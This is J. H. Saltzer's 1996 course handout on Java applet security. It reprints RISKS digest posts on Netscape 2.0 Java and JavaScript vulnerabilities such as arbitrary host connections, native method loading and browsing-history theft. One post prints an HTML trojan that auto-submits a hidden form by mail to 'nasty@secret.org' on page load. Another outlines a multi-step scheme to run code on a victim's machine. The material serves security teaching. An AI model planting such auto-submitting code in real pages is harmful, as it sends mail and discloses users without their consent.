by J. H. Saltzer, March 21, 1996
1. Security dependencies--exactly what do we trust? (N. B. The
following analysis is based entirely on James Gosling and Henry
McGilton, The Java Language Environment: A White Paper, Sun
Microsystems, Inc., October, 1995, so it may be incomplete or
incorrect.)
- interpreter: it must correctly implement the restrictions
- verifier: it must correctly verify
- bytecode loader: it must correctly load and link
- java.io: no security-related bugs
- java.util: no security-related bugs (includes garbage
collector, memory allocator, and multi-threaded stuff)
- java.awt: no security-related bugs
- sources: do we have an authentic copy of the interpreter,
the verifier, and java.{io, util, awt}
- safe language design: is it actually safe? (c/f coercion
claim)
- IEEE 754/854 (floating point) specification: does it
introduce any concerns?
- Unicode: is the mapping in and out free of surprises?
- Bytecodes: Is it possible to comprehensively verify things
written in this language?
- Separate Name Spaces for each network source: Must be able to
securely identify distinct sources.
- Separate Name Space for sources from local file system: Must
trust all locally-stored sources to be friendly. (Is there any
way for a Java applet to download a distant file into the local
file system? How about by invoking a mail receiver?)
- Class name search: first local, then referencing name space.
Must verify all possible results of searches through unknown
name spaces.
- "network access to only hosts from which code was imported" Must
securely identify source host (depends on DNS) and securely
reconnect (depends on DNS, IP layer, and integrity of network)
- "network access [] outside the firewall [only] if code came from
outside." Must securely distinguish between inside and outside code.
Must securely distinguish between targets inside and outside the
firewall.
- HotJava ACL's: The ACL language must be safe. The defaults must be
safe. Must be able to securely distinguish local from imported code.
Dialog box must contain correct information. Human reaction to
dialog box must be correct.
-------------------------------------------------------------------------------
2. Recent materials from RISKS on Java applet security and closely
related topics. A good exercise here is to ask, for each security
problem, "which of the things in the above list failed to deserve our
trust?" Note that JavaScript is a fragment of Java language source code
that can be included as part of any HTML file. NetScape 2.0 and later
will happily interpret it as part of displaying the page. I am not clear
on just what restrictions apply to JavaScript scripts, but unlike
downloading of Java applets, the JavaScript interpretation feature cannot
curently be disabled.
Reused without explicit authorization under blanket permission
granted for all RISKS digest materials. The authors, the RISKS
moderator, and the ACM have no connection with this reuse.
***WARNING***
There is a genuine example of an active HTML trojan horse in the excerpt
from RISKS 17:77. It has been disabled in this copy by replacement of
less-than signs with the HTML escape for less-than signs so that it
will display and print properly, and so that it won't lead your browser
to do something you probably weren't expecting. . If you enable it and
load it with Netscape 2.0 you will discover that it does exactly what
the text says it will. To enable it, simply copy that text into any
HTML page, replace the escapes with less-than signs, and try loading
the page. Before enabling it be sure you understand just what the code
is doing.
*************
------------------------------
RISKS-LIST: Risks-Forum Digest Tuesday 20 February 1996 Volume 17 : Issue 77
------------------------------
Date: Sun, 18 Feb 1996 23:57:02 -0500
From: Drew Dean <ddean@CS.Princeton.EDU>
Subject: Java security problems
We have discovered a serious security problem with Netscape Navigator's
2.0 Java implementation. (The problem is also present in the 1.0
release of the Java Development Kit from Sun.) An applet is normally
allowed to connect only to the host from which it was loaded. However,
this restriction is not properly enforced. A malicious applet can open
a connection to an arbitrary host on the Internet. At this point, bugs
in any TCP/IP-based network service can be exploited. We have
implemented (as a proof of concept) an exploitation of an old sendmail
bug.
If the user viewing the applet is behind a firewall, this attack can be
used against any other machine behind the same firewall. The firewall
will fail to defend against attacks on internal networks, because the
attack originates behind the firewall.
The immediate fix for this problem is to disable Java from Netscape's
"Security Preferences" dialog. An HTTP proxy server could also disable
Java applets by refusing to fetch Java ".class" files. We've sent a
more detailed description of this bug to CERT, Sun, and Netscape.
A second, also serious, bug exists in javap, the bytecode disassembler.
An overly long method name can overflow a stack allocated buffer,
potentially causing arbitrary native code to be executed. The problem
is an unchecked sprintf() call, just like the syslog(3) problem last
year. Many such bugs were in the alpha 3 release's runtime, but were
carefully fixed in the beta release. The disassembler bug apparently
slipped through. This attack only works on users who disassemble
applets. The fix is to not run javap until Sun releases a patch.
Note that we've only had success in exploiting the first flaw on an
SGI. Windows 95 and DEC Alpha versions of Netscape have other bugs in
their socket implementations that make it harder (although not
necessarily impossible) to exploit the problem. This is the second
time that unrelated implementation bugs have prevented us from
demonstrating security problems in Java.
http://www.cs.princeton.edu/~ddean/java will contain more information
soon, including a revised version of our paper, to appear in the 1996
IEEE Symposium on Security and Privacy.
Drew Dean <ddean@cs.princeton.edu>
Ed Felten <felten@cs.princeton.edu>
Dan Wallach <dwallach@cs.princeton.edu>
Department of Computer Science, Princeton University
For more information, please contact Ed Felten, 609-258-5906, FAX
609-258-1771.
------------------------------
RISKS-LIST: Risks-Forum Digest Friday 23 February 1996 Volume 17 : Issue 79
------------------------------
Date: Fri, 23 Feb 96 10:03:49 -0500
From: John Robert LoVerso <loverso@osf.org>
Subject: Netscape Navigator 2.0 exposes user's browsing history
While riding home this past Wednesday (on my accident free commuter-rail
line), I came up with an approach to utilize the JavaScript "feature"
of Netscape 2.0 to track a user's browsing actions. The tracking
happens in real time with the user's browser dutifully sending results
back to a remote server, starting from the time the user visits a page
with the devious JavaScript embedded in it. It can thus sniff any
passwords or keys the user might use in a URL.
My example version runs in a browser window that the user can see. I'm
only demonstrating the vulnerability. Practically, the window can be
made so small as to be invisible to the casual user. It also helps
that a user isn't even informed when the HTML page they just loaded has
some JavaScript code within it.
Think about Netscape's new JavaScript-laden home page. The default
action on startup of Netscape 2.0 is to go to that page. It could
easily start off tracking your browsing actions. With the new on-line
frontier being driven by advertising, the value of such a log is
immense. Of course, if Netscape really wanted to do something like
this, they could embed all sorts of things directly in their browser.
Naturally they don't, but this is something that people often clamor
about (e.g., the recent Microsoft Word and the never ending AOL
controversies).
As it stands, with Netscape 2.0 you cannot disable JavaScript. You can
disable Java. This is an interesting choice on their part, since at
least there has been a significant effort on the part of many people to
justify Java's claim of security and safeness. Thousands of people
have pored over the code and specifications.
But, JavaScript and Java are totally different things. They share
common names and syntax, but they don't share implementations. One is
a byte compiled language executing in a restrictive state machine, the
other is an interpreted scripting languages with vastly different
properties. Compared with the thousands of people have looked at the
source to Java, no one has seen JavaScript. Its specifications are
defined by the implementation, which to date is solely Netscape 2.0.
We're told it is "Secure. Cannot write to hard disk", which is how Java
is also described. Is there enough commonality for such a comparison?
It is hard to determine that a program is safe or secure after studying
it. It is impossible without.
My particular history tracker is the third (or fourth?) way to steal
private data from a user via JavaScript. It stands out as the first
one that does it in real time, reporting history as the user is
browsing. In an interesting bit of irony, as I was writing the code to
exploit this hole, a news article from someone at Netscape appeared
noting how they has fixed 2.0 during the "beta-test" period to avoid
the latest of the history stealing approaches.
As it stands, JavaScript adds a viral element to HTML. I'm not sure
why Netscape doesn't ship JavaScript disabled by default or why they
don't alarm the user before it starts to execute, or opens up new
windows.
Finally, it is interesting to note that the Netscape Navigator already
has the building blocks to block the execution of any JavaScript (or
Java) code that doesn't come digitally signed from some trusted source.
This would help provide a real safeguard against the types of attack
downloaded code opens up.
My JavaScript examples are at http://www.osf.org/~loverso/javascript/.
John Robert LoVerso OSF Research Institute
Added note:
Did you ever try to teach someone the importance of keeping
their ATM PIN secret, only to find that they never lock the
doors to their house?
A non-empty subset of the hosts who have visited my JavaScript
"tracker" page run an X server with no access control enabled.
------------------------------
RISKS-LIST: Risks-Forum Digest Monday 4 March 1996 Volume 17 : Issue 83
------------------------------
Date: Fri, 01 Mar 1996 20:25:14 -0500
From: Jack Decker <jack@novagate.com>
Subject: Java/JavaScript security breaches
If you are running Netscape 2.0 on your system, and are at all concerned
about security or privacy, you should run, not walk to this URL:
http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html The World
Wide Web Security FAQ
Pay special attention to questions 69 through 71. Number 71 in
particular discusses:
* How a JavaScript page could grab a user's e-mail address from
Netscape's preferences dialog and send it across the Internet.
* A script that can open up a small window that continuously monitors
the user's browsing activity, capture the URLs of open documents, and
transmit them to a remote server.
* A script that can obtain recursive directory listings of the user's
local disk and any network disks that happen to be mounted. This
information can be transmitted anywhere in the Internet.
* How the version of JavaScript that was included with beta versions of
Netscape 2.0 contained holes that allow the user's history and cache
files (both of which contain lists of recently-visited URLs) to be
captured.
I have not seen any information on this before today, so I suspect that
other Netscape users might want to know about these risks!
------------------------------
Date: Sat, 2 Mar 1996 23:51:49 +0000 (GMT) From: David Hopwood
<david.hopwood@lady-margaret-hall.oxford.ac.uk> Subject: Java security
bug (applets can load native methods)
There is a serious security bug in the class loading code for the Java
development kit and Netscape (all Java-enabled versions). If an
attacker can arrange for two files (a "Loader" class, and a dynamic
library) to be installed in any readable directory on the client
machine, he/she can bypass all of Java's security restrictions. For
example, the applet can read, write and execute files on the client,
with the same permissions as the user of the browser.
The only way to avoid this bug at the moment is to disable Java. In
Netscape this can be done by selecting 'Disable Java' in the 'Security
preferences...' section of the 'Options' menu.
This bug affects all Java implementations based on Sun's source code.
It is not related to JavaScript.
Further details will be posted when Sun and Netscape have released
patches.
David Hopwood david.hopwood@lmh.ox.ac.uk
------------------------------
Date: Mon, 4 Mar 1996 18:08:58 +0000 (GMT)
From: David Hopwood <david.hopwood@lady-margaret-hall.oxford.ac.uk>
Subject: Java security bug (applets can load native methods)
Unfortunately my news server has been off-line for the past few days.
However, I'll try to address some of the questions that were raised on
strong-java@entmp.org and in private mail about the recently-discovered
bug in Java's class loading code. The same questions have probably been
asked on RISKS and/or comp.lang.java as well.
Apparently I wasn't clear enough in stating that this bug allows
classfiles to be loaded from _any_ directory on the client machine, not
simply those on the CLASSPATH or LD_LIBRARY_PATH. This includes, for
example, /tmp, ~ftp/incoming, or an attacker's home directory if he/she
has an account on the same system.
The attack requires two support files on the client's system: a
classfile and a dynamic library. Both files must be readable by the
browser, and the dynamic library must be executable (this is always
true for systems that have no file permissions). The path to the
classfile from the client's root directory must be known by the
attacker in advance.
Code demonstrating the bug has been written and tested on Linux and
Digital Unix (OSF/1). It should be portable to all POSIX systems, and
with a little work, to any system that supports Java. The demonstration
is very easy to extend - hiding it within any applet would require
adding only two extra lines of code. Changing the C code to execute any
command would be a single-line change. For that reason, the code will
not be described in detail or released publically until patches are
available for both Netscape 2.0 and the Java Development Kit.
David Hopwood david.hopwood@lmh.ox.ac.uk
------------------------------
RISKS-LIST: Risks-Forum Digest Tuesday 5 March 1996 Volume 17 : Issue 84
------------------------------
Date: Tue, 5 Mar 1996 11:08:11 -0600 (CST)
From: "E. Larry Lidz" &L;Tellidz@midway.uchicago.edu>
Subject: Re: Java (RISKS-17.83)
Netscape and possibly other (future?) Java-enabled browsers do not allow
for system-wide defaults. They should allow for System Administrators
to not only set defaults for users, but to also override user
preferences. This would allow the Administrator for a system to
disable (for example) Java or JavaScript system wide.
The risks in not having such an option?
Assuming Java is bullet-proof.
Java is the type of program that has potential security holes in it as
it allows someone to run programs on a machine they do not necessarily
have any real access to. It is well designed to reduce the risks, but
like any new program, there are bound to be bugs.
Patches are nice, but there is no way to insure that everyone would be
running the new version. If the browser allowed preferences based on
version number, one could disable Java for buggy versions, but allow it
for patched versions.
------------------------------
RISKS-LIST: Risks-Forum Digest Weds 6 March 1996 Volume 17 : Issue 85
------------------------------
Date: Tue, 5 Mar 1996 18:08:08 -0800 (PST)
From: Li Gong <gong@csl.sri.com>
Subject: More on Java applet loading (Re: RISKS-17.83)
David Hopwood in RISKS_17.83 mentioned, "If an attacker can arrange for
two files (a "Loader" class, and a dynamic library) to be installed in
any readable directory on the client machine, he/she can bypass all of
Java's security restrictions."
This does not appear to be a bug (e.g., a slip in the implementation)
but rather a design decision. It is clearly documented in Java that
any applet downloaded from the local machine is not subjected to the
security restrictions that apply to applets downloaded from elsewhere.
This at first appears quite reasonable -- otherwise, you cannot do a
lot of interesting things even locally.
A security problem occurs, however, if the remote web page refers
(directly or indirectly) to code that happens to exist on the client
machine. For instance, the following line can be found at the bottom
of my home page <A HREF="file:/tmp/play.html"> Fancy page </A>. If
you click on that, and if your trojan-co-worker has placed a file
called play.html and its associated class files in /tmp on your
machine, those applets will run.
Alternatively, if someone knows that you have certain code X (applet or
not) in your directory -- suppose you have been developing it as a
possible attack on others -- that person may trick you into invoking X
on yourself. An immediate question is which file should
"file:/tmp/play.html" refer to? The one on the remote machine or the
local one? There are pros and cons either way.
The real problem is rooted in the fundamentally flawed philosophy that
an applet you downloaded runs on the local machine as you. This goes
against years of research in computer security. Such an applet, unless
its authenticity can be verified to the satisfaction of the downloading
client, should instead run within a confined (protected) sub-domain,
and any further invocations from this code should also run within this
sub-domain. (PGN can tell us all about the required and desirable
properties of such a domain.)
Most machines and OSs obviously do not support such confined domains.
The point is whether Sun should have done the Java interpreter
differently to make life safer. For instance, on Unix machines, it is
possible to set uid on downloaded stuff. This is just one of the many
ways to improve security within the Java execution model.
Nevertheless, Java security will probably remain a news item until the
day when the fundamentally flawed philosophy is changed.
Securely yours, Li Gong, SRI International, http://www.csl.sri.com/~gong/
------------------------------
RISKS-LIST: Risks-Forum Digest Thursday 7 March 1996 Volume 17 : Issue 86
------------------------------
Date: Thu, 7 Mar 1996 16:57:04 GMT
From: taylort@dg-rtp.dg.com (Tad Taylor)
Subject: Protecting yourself against Java applets (Gong, RISKS-17.85)
In RISKS-17.85, Li Gong talks about the Risks of running an applet of
questionable parentage as ones self. In this context, he makes two
related statements that I would like to address:
1) Such an applet, unless its authenticity can be verified to the
satisfaction of the downloading client, should instead run within
a confined (protected) sub-domain, and any further invocations
from this code should also run within this sub-domain.
2) Most machines and OSs obviously do not support such confined domains.
I absolutely agree with the first statement. If you are going to run
software (applet or otherwise) of questionable intent, you should be
sealed off into a domain from which your process or any of its
descendents cannot escape.
It is the second statement I wish to address. Data General's DG/UX
operating system (with DSO, an additional security option) provides
exactly this protection and for exactly the reason Li Gong points out
(among other reasons). When a user first authenticates to the system
(e.g., logs in), a session is created. Sessions are authorized for
some number of sub-sessions (n >= 1). The session establishes a
maximum set of credentials for any sub-sessions (i.e., a master
domain). The credentials establish what a process can see and do *and*
provide hard and fast limits for what any descendent processes can do.
Within this context, each sub-session has its own domain which is more
restrictive than the master domain.
So, for the scenario under discussion, a user might log in and begin
performing their regular activities on the system (which might even
include administrative duties). If a desire or need to surf the Net
strikes them, a new sub-session is established with a very restricted
set of credentials. Presumably, a site would be configured such that
normal sessions did not have access to any Web browsers. The new
sub-session would pick up the privilege to run the browser while
simultaneously giving up access to virtually all information and other
privileges on the system. This is assuming the master domain permits
such actions. Then, and only then, the user could find and run Java
applets. Regardless of what the applet tried to do or have other
programs do on its behalf, the browser sub-session would be severely
limited in what it could access or affect.
I hope this hasn't sounded too much like a commercial, but I did want
to point out that there are operating systems that take this sort of
thing *very* seriously and are actively working to provide the
necessary protections and assurances.
Tad Taylor taylort@dg-rtp.dg.com
------------------------------
Date: Thu, 7 Mar 1996 06:35:05 -0800
From: Lee Hasiuk <leeh@worlds.net>
Subject: More on Java applet loading (Gong, RISKS-17.85)
Li Gong's article in RISKS-17.85 postulates that the flaw which David
Hopwood uncovered in Java is really a feature. It really is a serious
bug. Java was designed to only use local classes which are part of its
CLASSPATH (usually an environment variable). Here's a very real
example of a situation where Mr. Hopwood's bug could cause a user to
unknowingly delete every file on their hard disk, by simply browsing a
Web page!
1) Victim browses Attacker's Web page. Web page entices victim to
submit a form with their e-mail address. Actually, a bug in
JavaScript, in Netscape 2.0, can be exploited to automatically
determine the user's e-mail address.
2) Attacker postulates or determines from message headers that Victim
uses Eudora mail, and sends Victim a message with Mr. Hopwood's two
attack files as binary attachments. Eudora automatically unpacks
attachments and places them into its directory. Attacker assumes that
Eudora is installed in a "standard place", i.e. the installation
default.
3) Victim now switches to another Web page on attacker's site, which
exploits the bug. This allows the two attack files to be loaded, and
bypasses all of Netscape's Java security restrictions, allowing
attacker to do whatever they want to user's machine.
Another possibility for getting the files onto the victims machine
include anonymous FTP (if the victim runs an FTP server). All the
attacker has to know is the directory in which the files are stored.
Lee Hasiuk leeh@worlds.net
------------------------------
Date: Thu, 7 Mar 1996 17:15:06 +0000 (GMT) From: David Hopwood
<david.hopwood@lady-margaret-hall.oxford.ac.uk> Subject: More on Java
applet loading (Hasiuk, RISKS-17.86)
Lee Hasiuk <leeh@worlds.net> wrote:
> Your [Li Gong's] article in RISKS-17.85 postulates that the flaw >
which David Hopwood uncovered in Java is really a feature. It really
is > a serious bug.
In fact it is more serious than I had first thought.
The locations of files in Netscape's cache are predictable. By using a
known security bug in JavaScript, it may be possible to arrange for
downloaded files to be cached using a path and filename known to the
attacker.
Although I haven't implemented an attack based on this, it is probable
that it removes the requirement for the Loader and dynamic library to
have been installed in advance, if Netscape's cache is enabled.
Li Gong <gong@csl.sri.com> wrote: > >A security problem occurs,
however, if the remote web page refers (directly > >or indirectly) to
code that happens to exist on the client machine. [...]
However, they will be loaded by the standard AppletClassLoader, which
causes the same security settings to be applied as for applets loaded
from the network. For example, here is the result of an applet loaded
via a file: URL attempting to link a native method:
[...]
Opening stream to: file:/tmp/Loader.class to get Loader
*** Security Exception: link:/tmp/libtest.so ***
sun.applet.AppletSecurityException: security.link: /tmp/libtest.so
at sun.applet.AppletSecurity.checkLink(AppletSecurity.java:153)
[...]
The bug I found loads applets using the built-in class loader, and so
the above test succeeds.
David Hopwood david.hopwood@lmh.ox.ac.uk
------------------------------
Date: Thu, 7 Mar 1996 11:24:25 -0800 (PST)
From: Li Gong <gong@csl.sri.com>
Subject: Quoting from online Java tutorial [draft]
The Netscape browser appears to be secure in this respect, but the
online Java tutorial (draft version) seems to suggest that the security
behaviors may be dependent on the specific browser, rather than being
intrinsic in Java. Following is a direct quote from the tutorial.
Note particularly the first point under "things ... that you might not
expect".
[Draft Java online tutorial excerpt follows:]
What Applets Can and Can't Do
For security reasons, an applet that's loaded over the network has
the following restrictions:
* It can't load libraries or define native methods.
* It can't ordinarily read or write files on the host that's
executing it.
* It can't make network connections except to the host that it
came from.
* It can't start any program on the host that's executing it.
* It can't read every system property.
* Windows that an applet brings up are distinguished by some
warning text and either a colored bar or an image, so that
the windows don't look like they're part of a trusted
application.
Things that applets can do, that you might not expect:
* Applets that are loaded from the local file system (from a
directory in the user's CLASSPATH [or from a file URL?]) have
none of the restrictions that applets loaded over the network
do (as listed above). For this reason, some browsers don't
allow applets to be loaded via file: URLs.
* Although most applets stop running once you leave their page,
they don't have to.
Each browser has a SecurityManager object that checks for applet
security violations. When a SecurityManager detects a violation,
it throws a SecurityException. [ need an example applet that tries
to do a few forbidden things ] [Reminder: this is a draft. PGN]
------------------------------
Date: 7 Mar 1996 12:37:43 -0600 From: ajm@mcs.com (Alan Miller) Subject:
Another Java risk -- Theft of Service
Another (possibly minor) risk of Java is implicit in its nature - it
allows someone else to run a program on your system. If I wanted to do
something like, say, set up a system to break cryptographic keys, my best
way to get the needed processing power might be to build a Java applet
that would do a small amount of the processing needed, then send the
result back to me and wait for another 'assignment.' If I then
proceeded to build an attractive Web site, I could drop that applet to
anyone visiting my site and simply sit back and wait for results (which
I'd need to refine).
I as the user might never notice this, but there'd be at least a small
decrease in the resources available to me on my system, most notably a
lack of available processing power. Depending on how the applet was
written and whether it could detect other instances, my system might
proceed to get slower and slower each time I visited the site in
question. Would I notice this, or would I just chalk it up to
overloaded servers and wonder later why my system was so sluggish?
There are a variety of other possible attacks based on this as well,
which might or might not work depending on the capabilities of Java.
Other possibilities include file 'storage', with small files being sent
for storage and returned before the applet would exit for a shutdown
and Miller's Migrating MUD, with a small private MUD/chat system being
run on someone else's system, with only an address at a fixed site.
Alan Miller ajm@mcs.com http://www.mcs.net/~ajm/home.html
[Li Gong suggested that Arjen Lenstra and friends might be
interested in porting their large-number-factoring distributed
software to Java. Perhaps they already have! Remember, they are
looking for prime suspects (and sometimes suspect primes). PGN]
------------------------------
RISKS-LIST: Risks-Forum Digest Friday 8 March 1996 Volume 17 : Issue 87
------------------------------
Date: Fri, 8 Mar 1996 05:15:47 +0000 (GMT)
From: David Hopwood <david.hopwood@lady-margaret-hall.oxford.ac.uk>
Subject: Re: Java security bug and the Netscape cache
More information on the security bug described in RISKS-17.84 - 86,
which can be used to allow Java applets to load native methods without
any security restrictions:
The attack normally requires two files to be pre-installed in a
directory readable by the client. However, in a previous article, I
mentioned that it may be possible to automatically load these files
into Netscape's cache. Having done a little more testing, it turns out
that this is feasible under Windows 95 and NT (but not under Unix).
This version of the attack also makes use of a known bug in JavaScript.
In other words, for Netscape on Win32, it is not necessary for any
files to be pre-installed. Applets can run arbitrary code with the
permissions of the user, simply by the user viewing an attacker's web
page.
The only reliable way to avoid this bug at the moment is to disable
Java - in Netscape this is done by selecting 'Disable Java' in Options
-> Security Preferences.
David Hopwood david.hopwood@lmh.ox.ac.uk
------------------------------
Date: Fri, 8 Mar 1996 14:58:51 +0100 (MET)
From: R.E.Wolff@et.tudelft.nl (Rogier Wolff)
Subject: Re: More on Java applet loading (Re: RISKS-17.83,85)
> ... For instance, on Unix machines, it is possible to set uid on
> downloaded stuff. This is just one of the many ways to improve security ...
Assigning a "nobody" or guest UID to applications from the net does not
solve the security problem. I could for instance be the only or one of
a few people on a machine and accessible for all UIDs and
WORLD-readable should be something different.
Roger Wolff R.E.Wolff@et.tudelft.nl * Tel +31-15-2783643 or
+31-15-2137459 <a href="http://einstein.et.tudelft.nl/~wolff/">my own
homepage</a>
------------------------------
RISKS-LIST: Risks-Forum Digest Monday 11 March 1996 Volume 17 : Issue 88
------------------------------
Date: Mon, 11 Mar 1996 13:41:04 -0500
From: Jon Reeves <reeves@zk3.dec.com>
Subject: Yet another Trojan horse lurking in Netscape 2.0...
I noticed, while loading a web page, that there was a mailto: URL active
(using the "Easter Egg" Ctrl-Alt-T popup to see active URLs). Sure
enough, after I cancelled that and examined the source, I saw something
like this:
<body onLoad="document.mailme.submit()">
<form method=post name="mailme"
action="mailto:nasty@secret.org?subject=gotcha">
<input type=hidden name="hi" value="there"> </form>
A quick test on my local machine shows that this will send a message to
nasty@secret.org with the subject gotcha and the body "hi=there".
This is insidious; it means that E-mail messages, purportedly from me
(and all traces will show they really are from me) can be sent
anywhere, without my knowledge, with contents that I do not approve.
Further, it means that I can no longer count on browsing a site without
my userid being disclosed. Unlike Java, there is no way to disable
this. [Also been submitted to Netscape.]
------------------------------
Date: 11 Mar 96 11:52:22 GMT
From: mhp@netcraft.co.uk (Mike Prettejohn)
Subject: Over 10,000 sites running nonsecure versions of NCSA web server
[Long message abstracted for RISKS by PGN:]
Netcraft collected the dataset for the March Web Server Survey over the
period 1-2 March. Among the sites responding, 10678 hosts were running
NCSA/1.3 or an earlier version of the NCSA server, known over a year
ago to have serious security flaws for which a patch was offered at
that time; .edu, .com, .gov, and .mil sites are among those using
flawed versions.
Details of the problem, demo program, and recommendations, are
available <http://www.netcraft.com/security/http/ncsa13.html>.
The current versions of both NCSA and Apache are freely available, have
log file compatibility with NCSA/1.3, and -- so far as we are aware --
no one has published details of security weaknesses in either.
Mike Prettejohn mhp@netcraft.co.uk Phone +44 1225 447500 Fax +44 1225
448600 Netcraft Rockfield House Granville Road Bath BA1 9BQ England
------------------------------
RISKS-LIST: Risks-Forum Digest Tuesday 12 March 1996 Volume 17 : Issue 89
------------------------------
Date: Tue, 12 Mar 1996 18:19:16 -0500
From: "jennifer (j.) hunt" <stud6x1@bnr.ca>
Subject: Risks of automatically publishing Risks newsletter to the Web!
RISKS-17.88 has an article about the Netscape forms 'feature' that
automatically sends e-mail upon loading a document. Risks kindly
provides an HTML code fragment which exhibits this behaviour. When I
loaded up this newsletter in my browser, that code fragment was
executed! Given that this code represented a form of trojan horse, it
is hardly appropriate for Risks Newsletter to be perpetuating it!
The first risk is that of including 'live' code fragments in a
publication, especially one which is subject to several media.
The second risk is that of using an automated process to construct and
publish information on the Web -- especially if the input to that
process is e-mail.
Jennifer Hunt Systems Design Engineering University of Waterloo
jehunt@zeus.uwaterloo.ca
------------------------------
RISKS-LIST: Risks-Forum Digest Thursday 14 March 1996 Volume 17 : Issue 90
------------------------------
Date: Wed, 13 Mar 1996 14:14:46 -0800 (PST)
From: Li Gong <gong@csl.sri.com>
Subject: Re: Risks of automatically publishing to the Web! (Junt, RISKS-17.89)
The first risk is that of including `live' code fragments in a
publication, especially one which is subject to several media.
The second risk is that of using an automated process to
construct and publish information on the Web -- especially if
the input to that process is e-mail.
Just to expand on the above: ``Live code'' can stealthly come into
documents. Any web site that offers to take online "feedback" or
"comments" has an open invitation to such trojan codes -- for example,
an attacker can simply type in applet code into an online form.
Moreover, it is perhaps more convenient to collect and sort these
feedback automatically and then view them through a web browser
(instead of an editor such as Emacs or MS Wordpad). Thus, the risk is
often there if one uses a java-capable browser to do something useful.
On the other hand, there is the tendency that a newly discovered attack
will quickly lead to a patch that disables a useful feature in the
browser or interpreter. Soon the features list is shortened to almost
zero and ones starts to ask why the language is needed at all.
Li Gong, SRI International, http://www.csl.sri.com/~gong/
------------------------------